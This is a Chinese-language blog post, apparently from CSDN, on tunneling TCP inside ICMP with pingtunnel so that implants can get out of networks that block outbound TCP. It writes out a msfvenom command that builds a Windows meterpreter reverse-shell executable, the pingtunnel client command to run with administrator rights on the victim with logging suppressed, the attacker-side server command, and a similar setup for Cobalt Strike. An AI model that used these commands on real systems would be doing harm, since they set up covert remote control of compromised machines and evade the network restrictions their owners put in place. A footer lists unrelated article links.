隧道技术-tcp封装icmp出网

1.背景:

目标出网限制tcp协议

2.msf木马转发上线

生成木马:msfvenom -p windows/meterpreter/reverse_tcp Lhost=127.0.0.1 LPORT=3333 -f exe > msf1.exe

受害机器管理员权限执行:

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.195 -t 192.168.3.195:4444 -tcp 1 -noprint 1 -nolog 1

攻击机器执行:

./pingtunnel -type server

使用msf接受tcp协议木马会话

原理:

木马运行在受害主机使用本地3333端口连接,由tcp协议转换未icmp协议数据出网,由kali接收,并且再次转会tcp协议。

3.cs木马转发上线

cs创建监听器:

使用本地的127.0.0.1:9999tcp协议数据使用icmp封装传递给cs服务端。

cs服务端执行:./ping -type server

受害机器执行:

pingtunnel.exe -type client -l 127.0.0.1:9999-s csip -t csip:7777 -tcp 1 -noprint 1 -nolog 1、

相关推荐
H_z_q24012 分钟前
HCIP的OSPF接口网络类型
网络
数智化精益手记局15 分钟前
设备管理与维护包括哪些内容?详解设备管理与维护的流程
网络·数据库·人工智能
HehuaTang31 分钟前
IPOIB TCP ROCE IB 性能比较
网络·云计算
七夜zippoe35 分钟前
OpenClaw 记忆维护:自动整理与归档
大数据·网络·数据库·openclaw·记忆维护
水煮白菜王38 分钟前
Claude Code 全方位使用手册
java·开发语言·网络
minji...38 分钟前
Linux 网络基础(三)HTTP的请求方法(GET/POST),HTTP表单、临时和永久重定向状态码、Cookie、查询参数、Web根目录
linux·运维·服务器·网络·c++·http
wefg142 分钟前
【计算机网络】IP 协议(IP划分/公私IP/NAT/路由/分片组装/mac帧/MTU/MSS/ARP协议)
网络·tcp/ip·计算机网络
我滴老baby44 分钟前
智能体安全防护指南从输入校验到工具沙箱的全方位防御策略
网络·安全
上海云盾王帅1 小时前
如何有效抵御恶意IP攻击:从封禁到智能治理的进阶之路
网络·tcp/ip·安全
顶点多余1 小时前
基于tcp服务器实现远程命令操作功能
网络·网络协议·tcp/ip